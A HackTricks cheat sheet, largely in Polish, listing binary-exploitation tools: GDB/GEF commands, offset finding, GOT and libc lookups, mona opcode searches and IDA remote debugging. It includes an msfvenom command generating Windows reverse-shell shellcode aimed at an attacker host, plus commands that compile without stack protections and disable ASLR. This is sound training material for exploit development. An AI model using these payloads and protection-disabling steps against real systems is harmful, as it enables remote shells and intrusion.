hacktricks/exploiting/tools

Exploiting Tools

{% hint style="success" %} Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie dla HackTricks

• Sprawdź plany subskrypcyjne!
• Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
• Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.

{% endhint %}

Metasploit

pattern_create.rb -l 3000   #Length
pattern_offset.rb -l 3000 -q 5f97d534   #Search offset
nasm_shell.rb
nasm> jmp esp   #Get opcodes
msfelfscan -j esi /opt/fusion/bin/level01

Shellcodes

msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c

GDB

Instalacja

apt-get install gdb

Parametry

-q # No show banner
-x <file> # Auto-execute GDB instructions from here
-p <pid> # Attach to process

Instrukcje

run # Execute
start # Start and break in main
n/next/ni # Execute next instruction (no inside)
s/step/si # Execute next instruction
c/continue # Continue until next breakpoint
p system # Find the address of the system function
set $eip = 0x12345678 # Change value of $eip
help # Get help
quit # exit

# Disassemble
disassemble main # Disassemble the function called main
disassemble 0x12345678 # Disassemble taht address
set disassembly-flavor intel # Use intel syntax
set follow-fork-mode child/parent # Follow child/parent process

# Breakpoints
br func # Add breakpoint to function
br *func+23
br *0x12345678
del <NUM> # Delete that number of breakpoint
watch EXPRESSION # Break if the value changes

# info
info functions --> Info abount functions
info functions func --> Info of the funtion
info registers --> Value of the registers
bt # Backtrace Stack
bt full # Detailed stack
print variable
print 0x87654321 - 0x12345678 # Caculate

# x/examine
examine/<num><o/x/d/u/t/i/s/c><b/h/w/g> dir_mem/reg/puntero # Shows content of <num> in <octal/hexa/decimal/unsigned/bin/instruction/ascii/char> where each entry is a <Byte/half word (2B)/Word (4B)/Giant word (8B)>
x/o 0xDir_hex
x/2x $eip # 2Words from EIP
x/2x $eip -4 # $eip - 4
x/8xb $eip # 8 bytes (b-> byte, h-> 2bytes, w-> 4bytes, g-> 8bytes)
i r eip # Value of $eip
x/w pointer # Value of the pointer
x/s pointer # String pointed by the pointer
x/xw &pointer # Address where the pointer is located
x/i $eip # Instructions of the EIP

GEF

help memory # Get help on memory command
canary # Search for canary value in memory
checksec #Check protections
p system #Find system function address
search-pattern "/bin/sh" #Search in the process memory
vmmap #Get memory mappings
xinfo <addr> # Shows page, size, perms, memory area and offset of the addr in the page
memory watch 0x784000 0x1000 byte #Add a view always showinf this memory
got #Check got table
memory watch $_got()+0x18 5 #Watch a part of the got table

# Vulns detection
format-string-helper #Detect insecure format strings
heap-analysis-helper #Checks allocation and deallocations of memory chunks:NULL free, UAF,double free, heap overlap

#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp

#Shellcode
shellcode search x86 #Search shellcodes
shellcode get 61 #Download shellcode number 61

#Another way to get the offset of to the RIP
1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it
2- ef➤  i f
Stack level 0, frame at 0x7fffffffddd0:
rip = 0x400cd3; saved rip = 0x6261617762616176
called by frame at 0x7fffffffddd8
Arglist at 0x7fffffffdcf8, args:
Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0
Saved registers:
rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8
gef➤  pattern search 0x6261617762616176
[+] Searching for '0x6261617762616176'
[+] Found at offset 184 (little-endian search) likely

Sztuczki

Te same adresy GDB

Podczas debugowania GDB będzie miało nieco inne adresy niż te używane przez binarny podczas wykonywania. Możesz sprawić, aby GDB miało te same adresy, wykonując:

• unset env LINES
• unset env COLUMNS
• set env _=<path> Podaj absolutną ścieżkę do binarnego
• Wykorzystaj binarny, używając tej samej absolutnej ścieżki
• PWD i OLDPWD muszą być takie same podczas korzystania z GDB i podczas wykorzystywania binarnego

Backtrace, aby znaleźć wywoływane funkcje

Kiedy masz statycznie powiązany binarny, wszystkie funkcje będą należały do binarnego (a nie do zewnętrznych bibliotek). W takim przypadku będzie trudno zidentyfikować przepływ, który binarny podąża, aby na przykład poprosić o dane wejściowe.
Możesz łatwo zidentyfikować ten przepływ, uruchamiając binarny z gdb, aż zostaniesz poproszony o dane wejściowe. Następnie zatrzymaj go za pomocą CTRL+C i użyj polecenia bt (backtrace), aby zobaczyć wywoływane funkcje:

gef➤  bt
#0  0x00000000004498ae in ?? ()
#1  0x0000000000400b90 in ?? ()
#2  0x0000000000400c1d in ?? ()
#3  0x00000000004011a9 in ?? ()
#4  0x0000000000400a5a in ?? ()

GDB server

gdbserver --multi 0.0.0.0:23947 (w IDA musisz wypełnić absolutną ścieżkę do pliku wykonywalnego w maszynie Linux i w maszynie Windows)

Ghidra

Znajdź offset stosu

Ghidra jest bardzo przydatna do znalezienia offsetu dla przepełnienia bufora dzięki informacjom o położeniu zmiennych lokalnych.
Na przykład, w poniższym przykładzie, przepełnienie bufora w local_bc wskazuje, że potrzebny jest offset 0xbc. Ponadto, jeśli local_10 jest ciastkiem kanarowym, wskazuje, że aby je nadpisać z local_bc, potrzebny jest offset 0xac.
Pamiętaj, że pierwsze 0x08, z którego zapisywane jest RIP, należy do RBP.

GCC

gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2 --> Kompiluj bez zabezpieczeń
-o --> Wyjście
-g --> Zapisz kod (GDB będzie mógł go zobaczyć)
echo 0 > /proc/sys/kernel/randomize_va_space --> Aby dezaktywować ASLR w Linuxie

Aby skompilować shellcode:
nasm -f elf assembly.asm --> zwraca ".o"
ld assembly.o -o shellcodeout --> Wykonywalny

Objdump

-d --> Rozmontuj sekcje wykonywalne (zobacz opkody skompilowanego shellcode, znajdź ROP Gadgets, znajdź adres funkcji...)
-Mintel --> Intel składnia
-t --> Tabela symboli
-D --> Rozmontuj wszystko (adres zmiennej statycznej)
-s -j .dtors --> sekcja dtors
-s -j .got --> sekcja got
-D -s -j .plt --> sekcja plt dekompilowana
-TR --> Relokacje
ojdump -t --dynamic-relo ./exec | grep puts --> Adres "puts" do modyfikacji w GOT
objdump -D ./exec | grep "VAR_NAME" --> Adres lub zmienna statyczna (te są przechowywane w sekcji DATA).

Core dumps

1. Uruchom ulimit -c unlimited przed uruchomieniem mojego programu
2. Uruchom sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t
3. sudo gdb --core=<path/core> --quiet

Więcej

ldd executable | grep libc.so.6 --> Adres (jeśli ASLR, to zmienia się za każdym razem)
for i in `seq 0 20`; do ldd <Ejecutable> | grep libc; done --> Pętla, aby zobaczyć, czy adres zmienia się dużo
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system --> Offset "system"
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh --> Offset "/bin/sh"

strace executable --> Funkcje wywoływane przez wykonywalny
rabin2 -i ejecutable --> Adres wszystkich funkcji

Inmunity debugger

!mona modules    #Get protections, look for all false except last one (Dll of SO)
!mona find -s "\xff\xe4" -m name_unsecure.dll   #Search for opcodes insie dll space (JMP ESP)

IDA

Debugowanie w zdalnym linuxie

W folderze IDA możesz znaleźć pliki binarne, które można wykorzystać do debugowania binarnego w systemie linux. Aby to zrobić, przenieś plik binarny linux_server lub linux_server64 na serwer linux i uruchom go w folderze, który zawiera plik binarny:

./linux_server64 -Ppass

Następnie skonfiguruj debugger: Debugger (linux remote) --> Opcje procesu...:

{% hint style="success" %} Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks

• Sprawdź plany subskrypcyjne!
• Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
• Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.

{% endhint %}